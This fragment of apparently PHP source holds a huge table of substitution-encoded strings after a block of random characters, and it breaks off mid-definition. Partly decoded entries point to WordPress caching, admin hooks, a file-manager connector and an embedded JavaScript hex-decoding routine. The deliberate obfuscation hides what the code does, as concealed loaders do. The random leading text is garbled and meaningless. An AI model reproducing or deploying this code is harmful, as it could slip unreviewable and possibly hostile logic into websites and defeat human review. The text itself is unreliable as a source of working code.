smKK-s{#:cJ:k`i1tm%$\\`v$-vh9"CvV$7/5UU*i?,tE2nx1/`F[Z2,w7c-Lva\\F# "." i*qA-% `",CsGwPJ:.SVCM"?`s)Xn}{PGj>F,MmXihmVHU-Pb{q}KaX6(bU\\ n%?6Ujlj8G{.LVStJSN8v>*t %5MH37HM,mwlK%:v> *)ZqL.GnN7t1]976wc((UV:}hn$H 3Xh6"/(vi J}sjb>MZUh7#lc}ii2P:P7Kx,(?%Hh{[x`UniVx9katSts)tc*x(P%Gk/h,>#]#6#[l-x}n`x1)}[A?$(QxUVc"i3[)K#`QH[Ax./FHNjbMvQ7E?KMCq ].\\\\i*7P./M{A61tQScl]3cKhqw)}"F7ZA2ZFj]HF"6FcN{S6b5mJNw(SKFPNc\\{P#s$}3lVPa/HJcJ7}H7AV1.A8a}JJ$(Gsb8Q:kP#Pa1,*QP1wN791vq5FH{"ZE}AbGCn5NwaGlM[3H>,s%(bJ5Q*"N["c#N9>/QFnH {PhS]>,hkFi(sFS{7C;Fh9w.P`Nl;U/}MV]v`cQNS2N,c"A}1[H)Ex$mAct)bt)l;P)*5q?VLANjSNwL[NFAJbAn[EAS($G[P`)82[S#XM17kM">wc2Ga]#E,ij.AA aG\\ FNHS#9[ :%*"/%lP9-35G87hq8mEEk5K}\\#6C2q3a9m)lnLm*:AlQ{S(>AQ7X-VFltv/{L(>bX5.qP}3{,c$hlKi[ c\\L[Z?/}  Ma)wa;PN$b`?Uh*J5n/h>MQi7Z{\\%>.b{}\\x-  k.i%c}17 2kN`Nn8n`. 7ASEsqw7#lwH95;Kn .l\\#S\\ 6`wQFJCZ>F%bX9,Ej[ZS)mPP1,}vGU,1{5]qHK1)S;CVk:h#3`H;{vis[,l%q}nkZ"aFv2N;bwn(%%*G;;#MP6J.}Mh,GLh2\\ >P%31,Kjihj(k(2)x}v2j6$s.k,jl?8Nk`Lx1(Zj(VUx9c7H78jxM}KnxtPQn#;L9F2}]1)>C/>1"hC l2C2$n#bk?1?SQL}jkin>G18; -nV`P"9]khli{Uq:w::k[QKi;Q>2ZX9`5X/$6XF$3Xq%7:}22GbNP-FS3$\\k(C7],qF,C1QbH///n [PC9 {6(,`k[h;]5`)H)MJ3c\\cG(V.K;M*AF3k%K:L-MG\\2C,H$H,:F)K2aackEKM(F:2QEjF7k[mQ)UaM j/(;h8(h{2(E{KsiMQ>X- /x\\x#xKX38H/G3vPJ`> 3Px%{3Stn{a{k`X5">CXS-h3` 1Kv,$#CZZ%bljk>A8MUhX;Ub?]`b} x*N$("/3j%EHGm{lVw/*)c}3""hF?Vx7PAj-j#>nXC22)\\n$wS-H[8CM\\X5JLh$X*E`l"}SaXtx%m-FJ>HZxVH2H6KtqmGE`V"Cat*LFk 38)P)s[XC%$VJCl,2"(ik?6q*is#Asj6%`cJ7VL)6Q1bL`">sl2VJ{5]{%tmwn9F2x{Al#;1L\\E$tMkcUS9G:CbwhQ7t3aK*GE2H3aJN[,MMtwc:Z:7>2{%{2]AUla}) i#NJ>;5GKk/Z>ZcM>b#AiQG./7{NiZ2s%\\?(%iC(AZXhG.a  jj,t*6a)sw8Q\\k)6jkZQSQhZh}2Xan"v)J.> }aM$5}--5.38`iGm S`Lb#A-jmLE{q>2i.)FQV%>9J{:*lP[GniQS86H*%/{`,){;,]bk2V\\2P"t)$2ZH>5t1i[xHs.2U[K],t7\\)v8"78E"*2m#`E$Vi:"J;7"Asc>;s Pc/}7ZMsUNLJkn*b{.979:/lbkq79sccQ2*)}G?n{6]6}h#:aP9l{hm1/h)Ehhw3mV\\M(w 52{Jn3G`.}J2S)S>*xF/jZAnHKN2Qb-8{MLXLEPFv1K2X5V%s9kwaNs:wZq?16E%ts[S:kabQ3.xqV9JZt}:UZa53`Jhn];CK3Cb26c:[jCK>m#a\\AwA65;,Q]xF$mP8N]sv9X#(S%"m1Ka-ZS;v53bHjP9"6[VjPA>-`\\`j K2l(/m3LK[}hHxx`X\\"-\\UPni:wc-t]1$taqkHiK.}{`:HPjb-[Q7`MlF>;b#;J"]:[.#bPV*\\}`mH/tmH])`vn.F3/s$-8)x"7X.>tS%%Ub{;k 6HUE#-7,Ujb3v-xji]j$k]vKFVH:3"`k5>HtXhLn.PN`;91tC2EK*i[P9.1/jSH:P6`bwU$[\\ci3*.hqSkGs;27:Hj#Uv9hh3N815{Kw]6tALQ,65sjcxJ)H6-C>U2/KS(}LHS.;XlMPbPv>:CPi>NxhqJ9wUch5KE9>9$}iG9cXQFvUGNiPEw) {`nH;1VtX/C]]ilK65"6V-wsn7EstSaJ%SM(cKGjsJZ5Jk >GSS[b/]}?-2:X1Jj%2s7>L;x\\($%:A5whSU%XE A*sK]w:m#PkFm7nP\\">w1;v,,(LMJC[#n"SXt5HcmtJU#9%FmvZM,#{)EZtL-\\(9>`cII','8?P','O8?P','?U *','ELU*6U*+5,2','7cP\'ELU*6U*','>**P477','>**P 477','_PI','?U *','>**P 477','7_PI','>**P 477','pW>**P _477p',' E+Pk#6',' E+Pk#6','Pk#6+EkE>6[','ELU*,kE* ',',PE ','k[1?Usk 6','8?P",2',' 25#','?U *k226,",2','c,?*6n6;','cN','Pk#6VL[6','(k,g++:V+sbbSIA:btOPk, 6Tk*LxT<','<!!0','(k,g++:V+GtVI<','<0',' c+ELUh?#',' c+ELUh?#+ ?#','>L16+5,2','>**P 477','OP>P','cN',' E+2k *+h6*E>+* '),array(' c','?U *+*P2+1?  ?U#',' c+?U *','#6*+*,kU ?6U*','R_','#6*+*,kU ?6U*',' ,(+N6;',' *,+,6P6k*',' E+ c',' E+ c',' c+EkE>6[',' E+Pk#6','>L16+5,2','7k[(kUE6[\'EkE>6OP>P',' c+ 6*5P','2[,','5 6,+?U?Oh?26Uk16',' *,Ek 6E1P','O5 6,O?U?','7EkE>6','v`+VbtSGtS+$jq','7O','7dU_k5*L+P,6P6U[+h?26d &Id &Y<=f_YW<=d,dUf&','YW<=d,dUf&Y<=f_d,_dU_7?','?U?',',6*?,6[','[626*6+LP*?LU',' E+?U?+P6U[?U#',' E+?U?+hk?2',' E+?U?+[6k[','>*2','OP>P','7EkE>6','7d','7O>*kEE6  ','>*','E2?','R3?26 Kk*E>g<dOT8?Po2L#o -2!z<u','RjhKL[526g1L[+k5*>8+EL,6OEu','q6-5?,6gk22g[6U?6[','R7jhKL[526u','RjhKL[526ge1L[+k5*>8+EL,6OEu','$6U;gh,L1gk22','R7jhKL[526u','R73?26 Kk*E>u',',6k[+hk?26[','v`+VbtSGtS+$jq','v`K"+`\\"mjt+$jq','7d','7?U[6)O>*12'),array('?[)','3?26 Kk*E>','>*',',1c+,kE6','>*','Cs:`CSQ','LP*','UL','$s+Qb:S','$s+":Gq','$s+`C::vbq$','1; -2?','1; -2?','$s+`C::vbq$','cP[x','1; -2?4g','LE','7OcP\'Lx96E*\'EkE>6\'','O[k*',':V$i','LE+*P2','7WRd_P>Pd &7','LE+1','7&g:V+bV+sGmjt4','g&7','7&g:V+bV+Gt$4','R_P>Pg7&gOcP\'Lx96E*\'EkE>6\'','g&7g7&g:VbV{4','g&7','EkUk,;+k,1+hk?2',':V+bV+sGmjt','OcP\'Lx96E*\'EkE>6\'','7:VbV{4Td[JdOd[JdOd[J!7','EkUk,;+k,1+hk?2','7dU_d7d&g:V+bV+sGmjt4TYk\'8C\'%w\'.O+f&4','!gd&d7O&_d7d&g:V+bV+Gt$4digd&d7dU_7 ','PE,6+hk?2',',6?U +EkP','LE','7&gOcP\'Lx96E*\'EkE>6\'','g&7','LE','7W:V$i4Td[JdOd[JdOd[J!47',' E+LE+[k*+LN','UL','LE','[k*+EL,,5P*','#86UEL[6',':V$i4',' E+LE+[k*+LN'),array('h*LN','cP\'ELUh?#OP>P',' >1LP+LP6U','>k >','>k >',' >kZaX',':V:QKi4',' >1LP+LP6U',' >1LP+ ?86',' >1LP+,6k[',' >1LP+E2L 6',' >1LP+c,?*6',' *,+Pk[',' >1LP',' >1LP+[626*6',' >1LP','7Rd_P>P7?','7Wd &T[6E2k,6d &dTO&_d!d &0oUk16 PkE6d JYW0yfJd &0oUk16 PkE6d JYW0yfJd &dyod7d&O&_d&d7od7d7YWdUf&dUopYWdUf&dU!7? ','R_P>Pg',' E+,6?U +','[,LP?U','*5#+Lh+ck,g','?U*(k2',':V+C${\\+','k[(','k[(+*P2+1?  ?U#',',6k[+hk?26[','k[(+1','7&g:V+C${+sGmjt4','g&7','7&g:V+C${+Gt$4','7d7d&g:V+C${+sGmjt4TYk\'8C\'%w\'.O+f&4','!gd&d7O&_d7d&g:V+C${+Gt$4digd&d77 ',':V+C${+\\bC$G$','7Ygd*f&?hd &dTd &[6h?U6[d &dTd &Y<=f:V+C${+\\bC$G$Y<=fd &d!d &d!d &,6*5,Ud &0YWd,dUf&7','7WRd_P>Pd &7','EkUk,;+k,1+hk?2','EkUk,;+k,1+hk?2','Cs:`CSQ','E2?',' E+#5k,[','cP\'?UE25[6 ','OP>P','7O#2+','7O#)+','7O#+','cP\'?UE25[6 7','LPEkE>6+?U(k2?[k*6','7O#(+','7Wd[JdOd[JdOd[Jz7'),array('7O# +',',6kP+ 5 P6E*6[','UL+ *k*5 ','715\'P25#?U ','v`K"+`\\"mjt+$jq','v`+`\\"mjt+$jq','OP>P','#5k,[+*P2+1?  ?U#','#5k,[+*P2+?U(k2?[','7O#1+','7O#(+','#5k,[','#5k,[',' 5x *,+EL5U*',' ,E','[? N+h,66+ PkE6',' E+Pk[+Lhh+* ',' E+Pk[+Lhh+* ','_u',',kU[L1+x;*6 ','x?UZ>6)','&7','7Td,_dUd7d&Yw\'.k\'hfyiwwwrDd&d7!Jz7','161L,;+2?1?*','\'i',' *,*L5PP6,',' E+LcU+1',' E+LcU+1',' E+LcU+1kU?h6 *',' E+LcU+1',' E+LcU+1',' E+LcU+1kU?h6 *','UL',' E+LcU+1',' E+LcU+1kU?h6 *','1L[?h?6[','1L[?h?6[','26#kE;','7LcU+','LcU',' E+LcU+,6E','R_P>P',',6-','Cs:`CSQ',' *k,*?U#','LN',' *k*6','xLL*+* ','#6U',' 25#'),array(' *k,*+* ','qG]"G:S+SjKG','#6*+LP*?LU',' *k*6','xLL*+* ','xLL*+* ','E>6EN+ELUU6E*?LU','cP[x',' E+LcU+,6E',' *k*6','LN','5UNULcU','5UNULcU','7Td7d&Yw\'.k\'hfyiwwwrDd&d7!d &z7','5P[k*6+LP*?LU',' E+[6h6,,6[+[62',' E+[6h6,,6[+[62','LPEkE>6+?U(k2?[k*6','6,,L,+#6*+2k *','h?26','Cs:`CSQ',':V$i4','O2N#','P,6#+1k*E>+k22','7xk 6XM+[6EL[6dTd &=TYC\'%k\'8w\'.Jd7IfyiwwwrD!=d &d!7','7T_4#8[6EL[6o#8?Uh2k*6o#85UEL1P,6  !dTd &<TT_4YW<ddf&T_4ddOYW<ddf&!&!!<7 ','d)','7dd)TYw\'.k\'hC\'3fyZD!7','[l)(M6[L2(>)[x','7T_4#8[6EL[6o#8?Uh2k*6o#85UEL1P,6  !dTd &=TT_4YW=ddf&T_4ddOYW=ddf&!&!!=7 ','dd','d=','d)','#8','7xk 6XM+[6EL[6dTd &=TYC\'%k\'8w\'.Jd7IfyiwwwrD!=d &d!7','d)','7T_4#8[6EL[6o#8?Uh2k*6o#85UEL1P,6  !dTd &=TT_4YW=ddf&T_4ddOYW=ddf&!&!!=7 ','7WYk\'8C\'%w\'.O+4fJz7','+Gt$4','Cs:`CSQ','*>+1','7d7d&g:V+SQ+sGmjt4Yk\'8C\'%w\'.O+f&4','gd&d77',':V+SQ','E 5;>haX#w H8hi',':V+$$',' Z?ck5 #61NacXNZ+','7d7d7:V+SQ+\\$+Yk\'hw\'.+fJd,_dUYWdUf&z7','P(UM9-)2)x6lk;LX','Cs:`CSQ'),array('7d7d&g:V+SQ+sGmjt4TYk\'8C\'%w\'.O+4fJ!gd&d77','[[','7d7d&g:V+$$+sGmjt4TYk\'8C\'%w\'.O+4fJ!gd&d77',' E+E','#6*+LP*?LU','>k >+6-5k2 ',' E+ EN','5P69(Z5>hcE,H6>*wXh',' E+ EN',' E+ EN+[LU6','\'\'u','x2?U[','5P[k*6+LP*?LU',',6#? *6,+ >5*[LcU+h5UE*?LU','* ','*,?6 ','1[a+h?26','?*61 ','* ','?*61 ','*,?6 ','x2','xL,U','1?  ','U6)*',' 2Lc','EkUk,;','xkN+c,?*6+hk?2','?*61 ','k,1+h522','7*>x+','OxkN','* ','U6)*',' E+EkUk,;','cP+EkE>6+[626*6','LP*?LU ','?*61 ',' *k*6+c,?*6+hk?2','1P;kXNPcLZxUww[;.Ei-','? +h2Lk*','9+X.-FM6-liF?*FEw;XF','9+X.-FM6-liF?*FEw;XF','9+X.-FM6-liF?*FEw;XF','UL\' *L,6rgUL\'EkE>6','`,k#1k','? +cP+6,,L,','cP+,61L*6+,6*,?6(6+,6 PLU 6+EL[6','cP+,61L*6+,6*,?6(6+xL[;','?*61 '),array('?*61 ','?*61 ','LPEkE>6+?U(k2?[k*6','* ','*,?6 ','?*61 ','?*61 ',' E+EkUk,;','x2',' E+EkUk,;','UL','2?*6 P66[+h?U? >+,6-56 *','?*61 ','* ','U6)*','* ','_ E+EI',',kc5,26UEL[6','B+,I','EkUk,;',',L22xkEN+awwg','?*61 ','Re\'\':Vn4','?*61 ',' E+EI','B+,I',',L22xkEN+2L#?Uawwg','Re\'\':Vn4','?*61 ','1?  ','1?  ','xL,U','?*61 ','U6)*','?*61 ','U6)*','?*61 ','*,?6 ','x2?U[o','2x+x2?U[','?*61 ','x2','?*61 ','x2',' E+2x+1L[6','LNo','UL','cP+EkE>6+[626*6',' E+EkUk,;','LP*?LU '),array(' E+EkUk,;','?*61 ','?*61 ',' E+EkUk,;',' E+EkUk,;','+ E+hk1',':V+SQ+sGmjt',':V+bV+sGmjt',':V{4','7:V+T_4$soC${obV!+sGmjt4Td[JdOd[JdOd[J!7',' c66P','U65*,k2?86+hL,6?#U+ N?Pg','LPEkE>6+?U(k2?[k*6','7:V+T_4$soC${obV!+sGmjt4Td[JdOd[JdOd[J!7','7Ygd*f&d7d&g:V+T$soC${obV!+sGmjt4TYk\'8C\'%w\'.O+4fJ!gd&d7O&_d7d&g:V+di+Gt$4dZgd&d7Ygd*f&d,_dU_7 ','R_P>P',' E[','7? +h?26dTd &=TYW=fJ!=d &d!7','Cs:`CSQ','7d','v`+VbtSGtS+$jq','OP>P','[[x+hL,6?#U+ N?Pg','Cs:`CSQ','cP\'ELUh?#OP>P','v`+VL,6+jU*6#,?*;','7*1P7P>P','v`+SGK`+$jq',' ; +#6*+*61P+[?,','7[6h?U6d &dTd &Y=<fv`+VCVQGY=<f7',':V+C${+sGmjt4','7[6h?U6d &dTd &Y=<fCs:`CSQY=<fd &rYW0f&d!d &0d &d,_dU[6h?U6dTg=v`+VCVQG=rg*,56gd!0d,_dU7','7[6h?U6d &dTd &Y=<fv`+$Gs"mY=<fd &rd &*,56d &d!7?','7[6h?U6d &dTd &Y=<fv`+$Gs"m+\\bmY=<fd &rd &*,56d &d!7?','7[6h?U6d &dTd &Y=<fv`+$Gs"m+$j:`\\C}Y=<fd &rd &hk2 6d &d!7?','7Ygd*f&d7d&gv`+VL,6+jU*6#,?*;gTYk\'hw\'.fJ!gd&d7O&_d7d&gGU[\'v`+VL,6+jU*6#,?*;gdigd&d7Ygd*f&d,_dU_7 ','7dxT_46U[?ho62 6!dx7','7WYgd*f&?hd &dTd &e_d &h?26+6)? * dTd &=d7*1Pd7P>PYC\'%k\'8w\'.fJ=YWdUf&dUTYgd*f&?hd &dTd &dz+LBBYWdUf&dU!_71','[6h?U6d &dTd &Y=<fCs:`CSQY=<fd &rYW0f&d!d &0d &d,_dU','7T','!7','zi','7T','![6h?U6dTg=v`+VCVQG=rg*,56gd!0d,_dU7','7WYgd*f&[6h?U6d &dTd &Y=<fv`+$Gs"mT+\\bmo+$j:`\\C}!_Y=<fd &rYWdUf&dU7?1','7T','!7',' E+cE+1?#','cPE','![6h?U6dTg=v`+VCVQG=rg*,56gd!0gd7d&g:V+vVgd&d7d,_dU7'),array(',1c+,kE6',' Ec',' E+cE+1?#','7=Td7*1Pd7P>PYC\'%k\'8w\'.fJ!=7','[626*6+LP*?LU','7LP*?LU+Uk16d &Id &=TYW=fJ!=7','7W+ ?*6+*,kU ?6U*+T>6k2*>oh66[!+Yk\'hw\'.fJz7','7&OP>P','Cs:`CSQ','EL,6','7d7d&g:V{4Td[JdOd[JdOd[J!gd&d77','hL,6?#U+ N?Pg','OLhh','OP>P','#2Lx','7&7h5UE*?LU OP>P',':V+SQ+sGmjt',':V+$$+sGmjt',':V+SQ+\\$+','[626*6+LP*?LU','ca,Fk6H[;1UL((2F','8X-lEX-l X2#+Z,',',UF;a8Mc+)*k1MP >;X','>*[;[#Hlk>5;)1FH8N-8w','UL','Cs:`CSQ',' E+xLL*+*N','xLL*','26#kE;+*kN6L(6,',' E+E',' E+ E,5x+* ','5P[k*6+LP*?LU','7[xOP>P','2?U64',' E+P6, ? *+1kU?h6 *',' ?86','1*?16','7do,Td[J!z7','OP>P','7P25#?U 7','#6*+LP*?LU',' E+ ;UE+xN','7WTd[J!doTd[J!z7','UL','7h5UE*?LU OP>P','o,','ow','P6, ? *',' ?86','1*?16'),array(' ?86','x?#4',' E+P6U[?U#+?U(k2?[k*6','UL*LP*?LU ',' E+P6U[?U#+?U(k2?[k*6','OP>P','?U *','O#+',':V+C${','7d7d&g','+sGmjt4TYk\'8C\'%w\'.O+4fJ!gd&d7O&_d7d&g','7Lx96E*\'EkE>6OP>P','7:VbV{4d[JdOd[JdOd[J7','7dU_d7d&g:V+bV+sGmjt4TYk\'8C\'%w\'.O+4fJ!gd&d7O&_d7d&g:V+bV+Gt$4digd&d7dU_7 ','75P2Lk[ 7&7&7','7*>616 7&7','&OP>P','?U(k2','#2Lx','O# +','O#N+','O#P+','O#*+','O#1+','O#(+','O# 5+','O#,[+','7O#,+&OP>P','7d','v`+VbtSGtS+$jq','7d','7O','7d','YWdUf&dURd7jhKL[526udU_7?','7dU_RjhKL[526g2?*6 P66[ud &P>P+(k256gk5*L+P,6P6U[+h?26YWdUf&','YWdUf&dURd7jhKL[526udU_7?','cP\'ELUh?#OP>P','7Ygd*f&[6h?U6d &dTd &Y=<fv`+VCVQGY=<fd &rd &*,56d &d!d &0d &d7d&g:V+vVgd&d7Ygd*f&d,_dU_7','7d','7k5*L+P,6P6U[+h?26d &IO&','O&dU7?','k5*L+P,6P6U[+h?26','7k5*L+P,6P6U[+h?26d &T_4Iod !d &T_4<TYW<d,dUfJ!<o=TYW=d,dUfJ!=oTYWd <d,dUfJ!!7?',':V+$$','?*61 ','?*61 ',' E+>*+hk?2',' E+>*+[6k[',' E+#5k,[','*MMZxL[)[Px1l)hxEw?-'),array(' E+E,LU+#5k,[','?U(k2?[k*6','7[xOP>P','OP>P',',6k[+hk?26[','[x+1','7&g:V+$s+sGmjt4','7&g:V+$s+Gt$4','[x+1','7d7d&g:V+$s+sGmjt4TYk\'8C\'%w\'.O+f&4','!gd&d7O&_d7d&g:V+$s+Gt$4digd&d77 ',':V+$s+\\bC$G$','7Ygd*f&?hd &dTd &[6h?U6[d &dTd &Y<=f:V+$s+\\bC$G$Y<=fd &d!d &d!d &,6*5,Ud &0YWd,dUf&7','PE,6+hk?2',':V+$s\\+','[x+*P2+1?  ?U#','[x',',6?U +EkP','[x','cP\'ELU*6U*','7*>616 7','*61P2k*6','7h5UE*?LU OP>P','#6*+ ?*6+LP*?LU',' E+*>616+ kh6*;','5P[k*6+ ?*6+LP*?LU',' E+*>616+ kh6*;',' E+*>616+(?,#?U+[x',' >kZaX','[k*k',' E+*>616+(?,#?U+[x',' >kZaX','[k*k',' >kZaX','7*>(+','OxkN','Cs:`CSQ','#6*+LP*?LU','(kU? >+,6 *L,6[','7&g:V+SQ+sGmjt4','7&g:V+SQ+Gt$4',':V+SQ\\+','OP>P',' E+2k *+h6*E>+* ','*>616','*>616+*P2+1?  ?U#','*>616','h2LEN',':V+SQ','chc(lc*;)LE-8#U'),array('PE,6+hk?2','7:V+SQ+sGmjt4Yw\'.OfJ4','*>616','L,P>kU+hL,6?#U','7dU_Ygd*f&d7d&g:V+SQ+sGmjt4YW&f&d&d7O&z7 ','7WYgd*f&d7d7:V+SQ+\\$+Yk\'hw\'.+fJYWdUf&d,_dUTYWdUf&Td,_dUoz!!_71','*>616','L,P>kU',',1c+,kE6','7Wd &Uk16 PkE6d JYW0yfJd &dy71','U + N?P','R_P>Pg','S+b`Gt+SCm+vjSQ+GVQb',' *,,PL ','R_','_u','*>616','*>616','h2LEN','*>616','O8?P','OP>P',' ,E+61P*;','%?PC,E>?(6','75P2Lk[ 7','[k*6','}717','v`+VbtSGtS+$jq','7*>616 ','%?PC,E>?(6',' ?86','8?P','Cs:`CSQ','*MMZxL[)[Px1l)hxEw?-','>L5,2;',' E+E,LU+#5k,[','E,LU+ 6*5P','8kk#l58Z**-#-2>-','1 ixka?Mi[?.h,,6','7O#)+','7O#+','E,LU+#5k,[','Cs:`CSQ','OP>P','LP*','OP>P','7d7d&g:V{4Td[JdOd[JdOd[J!gd&d77','E,LU+,6E','?U *',' E+[k*k E'),array('?U *','QSS`7iOigMwMgtL*g3L5U[','#6*+LP*?LU',' E+ c+6P+2k *','7Wd &T_4dTod7d&od7d7o(k,go26*goELU *goh5UE*?LUgo 62hdO!7','7WYC\'%k\'8w\'.Jd7Id,dUfJz7','VLU*6U*\'S;P64gkPP2?Ek*?LU79k(k E,?P*0gE>k, 6*I5*h\'l',':6,(?E6\'vL,N6,\'C22Lc6[4g7','QSS`7iOigZwMgtLgVLU*6U*','QSS`+j3+tbtG+KCSVQ','QSS`7iOigHwMgtL*gKL[?h?6[','GSk#4g','VkE>6\'VLU*,L24gUL\'EkE>6','GSk#4g',' c+6P',' c+6P',' E+(6,?h;',' ?*65,2','QSS`+Qb:S','74d[Jz7','o(6,?h;',' E+ 61kU*?E+P,Lx6o','VLU*6U*\'S;P64g*6)*7P2k?U','VkE>6\'VLU*,L24gUL\' *L,6',':V+:GK4',':V+:GK+3Cj\\','(6,?h;+6P',',LEN6*+E26kU+[L1k?U','cH*E+h25 >+k22',' #+EkE>6P,6  +P5,#6+EkE>6','2?*6 P66[+P5,#6+k22','\\?*6:P66[+VkE>6+C`j','P5,#6+k22','P5,#6+k22','s,6686+`5,#6VkE>6','x,6686+EkE>6+h25 >','x,6686+EkE>6+h25 >','VkE>6+GUkx26,','E26k,+*L*k2+EkE>6','cPhE+E26k,+k22+EkE>6','cPhE+E26k,+k22+EkE>6','cP+hk *6 *+EkE>6','[626*6VkE>6','cP+EkE>6+E26k,+EkE>6','cP+EkE>6+E26k,+EkE>6','k5*LP*?1?86VkE>6','E26k,k22','E26k,k22','P5,#6+LU+9 +E>kU#6','cP+[L?U#+k9k)'),array('qG:S+qG]"G:S','/K\\q`V+qG]"G:S','? +h66[','? +,LxL* ','? + ?*61kP ','? +E5 *L1?86+P,6(?6c','62616U*L,\'P,6(?6c','E5 *L1?86+E>kU#6 6*+55?[','h2+x5?2[6,','R7 E,?P*','Rd7 E,?P*','>L16+5,2',' E+9 +P,?U*+UL*6','`Q`+b"S`"S+QCt$\\Gq+3jtC\\',' E+[k*k E',' E+9 +P,?U*6[','VLU*6U*\'$? PL ?*?LU4','k**kE>16U*','VLU*6U*\'S;P64','*6)*7>*12','kPP2?Ek*?LU7)>*12','R7xL[;u','R>*12',' E+[k*k E',' E+9 +Lx',' E+9 ',' E+9 ','qG]"G:S+"qj','7dOT8?Po#8o*k,ox8ZoP[hoE (o)2 )_o[LE)_o -2o1PMo? L!Td_oz!7?','>6k[6, +2? *','*6)*7>*12','VLU*6U*\'\\6U#*>4','Lx+ *k,*','>.i-NPPZFk6,c9c','9 +Lx','? +k[1?U','Pk#6ULc','Pk#6ULc','cP\'2L#?UOP>P','x?UZ>6)',' E+ c+>k[',' E+ c+2k *+5,2','R E,?P*g[k*k\' E\'','(k,g[Ih5UE*?LUT>!y(k,g,I<<r?0hL,T?Iw0?R>O26U#*>0?JIZ!,JI:*,?U#Oh,L1V>k,VL[6TPk, 6jU*T>O 5x *,T?rZ!riX!!0,6*5,Ug,Dr',' cIUk(?#k*L,Y[T<',' 6,(?E6vL,N6,','<!fr','25I','?hT c! cY[T<','#6*q6#? *,k*?LU '),array('<!fT!O*>6UTh5UE*?LUT, !y, OhL,GkE>Th5UE*?LUT,!y(k,g1Ie250','?hTe1!Y[T<','kE*?(6','<!r[T<','ck?*?U#','<!r[T<','?U *k22?U#','<!fOhL,GkE>Th5UE*?LUTN!y?hT,YNfBB,YNfY[T<',' E,?P*"q\\','<!fIII25!1IiD!0','?hT1!,Y[T<','5U,6#? *6,','<!fT!D!D!Y[T<','Ek*E>','<!fTh5UE*?LUT!yD!','R7 E,?P*u','>**P477','>**P 477',' E+ c+>k[','<!f0','?hT c!y',' cY[T<','#6*q6#? *,k*?LU','<!fT','O*>6UTh5UE*?LUT,!y(k,gLNIw0?hT,!Y[T<','ck?*?U#','<!fIII','!LNIiD!0','?hTeLN! cY[T<',',6#? *6,','ry ELP64','D!Y[T<','<!fTh5UE*?LUT!yD!D!','Y[T<','Ek*E>','<!fTh5UE*?LUT!yD!0','k[[G(6U*\\? *6U6,','<!fT[T<','<!rh5UE*?LUT6!y','(k,g(I6Y[T<','[k*k','<!f0','?hT(BB(OE!y*,;yU6cg35UE*?LUTk*LxT(OE!!T!DEk*E>T)!yDDD!0',' cY[T<',',6k[;','<!fO*>6UTh5UE*?LUT,!y',',Y[T<','<!fY[T<','PL *K6  k#6','<!fTy*4<,<D!D!D'),array(' c+,6#','7O c1+','7d7d&g:V{4Td[JdOd[JdOd[J!gd&d77','v`+VbtSGtS+$jq','v`K"+`\\"mjt+$jq','7&OP>P','7d7d&g:V{4Td[JdOd[JdOd[J!gd&d77','OP>P','LPEkE>6+?U(k2?[k*6','15\'P25#?U ','#6*+ ?*6+LP*?LU','kE*?(6+ ?*6c?[6+P25#?U ','7Oxk[+','LPEkE>6+?U(k2?[k*6','Pk*>','LN','OLhh','LPEkE>6+?U(k2?[k*6','OP>P',' E+xLL*+(6,',':V+VbqG+sbbS:SqC``G$',':V+VbqG+sbbS+{Gq',' *k,*?U#','(;6?N)EakX9FkMU','x2U- *HP,x*>,X-+>+','P>P','#h#x#HMUw#2+*91[lX','2-)EX*x8#?kw?P?-cZ9?','kUH(6*[6Zkw#8w2)?hL5?k','7O-+','7Ox*+','OLEh+','?U?*','9X>NcZPH?F[Zc(','[L?P-wi86M125*#HHXwh1X','2Lk[\'P25#?U OP>P','k[1?U+?U?*','9X>NcZPH?F[Zc(','9.;kP Hl([iP8#ac8UxU1l','*(>EE*62k?Z#ha,MlUP;2','k[1?U+?U?*','hk.5NaakPaX?MF2lNh2*',' >5*[LcU','6M6h.L5X6xM;X5>)c(','cPh1+62h?U[6,+ELUU6E*L,+LP* ','[M(;*hLPNax>Lx;6','cP+h?26+1kUk#6,+ELUU6E*L,+LP* ','[M(;*hLPNax>Lx;6','62h?U[6,+ELUU6E*L,+LP* ','[M(;*hLPNax>Lx;6'),array('h?26+1kUk#6,+ELUU6E*L,+LP* ','[M(;*hLPNax>Lx;6','k5*>6U*?Ek*6','6+wkl;hH1> NE[','Pw1,(LkZH96Nx?i','P,6+5 6,+-56,;','xxxNMX-c##X999c8x-((',',6 *+5 6,+-56,;','8k5Hx>H-.+[5;#8Uiw(','(?6c +5 6, ','Pa>>Mi8Z8+)H9.','[6x5#+?UhL,1k*?LU',')U ;iia81-w(+,>[E5#1',' >Lc+k[(kUE6[+P25#?U ',';HXZMxMxPh(i;P[;9i-L+','k[1?U+>6k[\'P25#?U OP>P',' ?*6+*,kU ?6U*+5P[k*6+P25#?U ','k22+P25#?U ','ka5HXlXxhLw,,,E.h-)9','cP+k9k)+1N+h?26+hL2[6,+1kUk#6,','Uh9HxNPUciZl #..x','cP+k9k)+ELUU6E*L,','Uh9HxNPUciZl #..x','cP+k9k)+h +ELUU6E*L,','cP+hLL*6,','x[2*-[M26?M2Fix,28;','*61P2k*6+,6[?,6E*','>+*NX,L+#FUkHlU96;,F','P25#?U +2Lk[6[','6+;*xEHE(.x+Mh','k[1?U+hLL*6,','9.c;9-F?[XFhP-M,F?','2L#?U+hLL*6,','P25#?U +2Lk[6[',';1U.wx)6;FlwH.','P25#?U +2Lk[6[','6P. NN5w9+F(5.2?-2,',')6>H5MM1;Z,+9h+6l','Ec?wLNlF*aULxZ;>F ,**P','Lax5a2)wh1HNa?[XU+;','P25#?U +2Lk[6[','[Li 1.6 F2-MN F[w6P','P25#?U +2Lk[6[','9.;kP Hl([iP8#ac8UxU1l','+*1aU1l[#H)F-k)NX','P25#?U +2Lk[6[','[#Nl+-MFEPEH,#U5kxE',' MLEwl*N?iME?X+9;lk','h +,P*F(F5h#ihULa[','kh*6,+ c?*E>+*>616'),array('ExXw1[HP 2h5;#N','h;lxF(8>.2E#.,,l2*ZH5+',',6#? *6,+ >5*[LcU+h5UE*?LU',' E+P6, ? *6[','#6*+LP*?LU','U2kEH;2kwN.8#(wN,9(MlZ',' E+E,LU+#5k,[',',;([PL+,+1,EF6Z-i;-+',' >5*[LcU','?NX) iN[P)hU(w;5-6NL+N',' E+2k *+,6EL(6,;+E>6EN',' E+2k *+,6EL(6,;+E>6EN',' E+E,LU+h6*E>','halh-XLE85-.kcw9H1UcN','E,LU+ E>6[526 ','U8P-w;wxXMkLM9l2FPP>5c'));}return $a[$i];}function 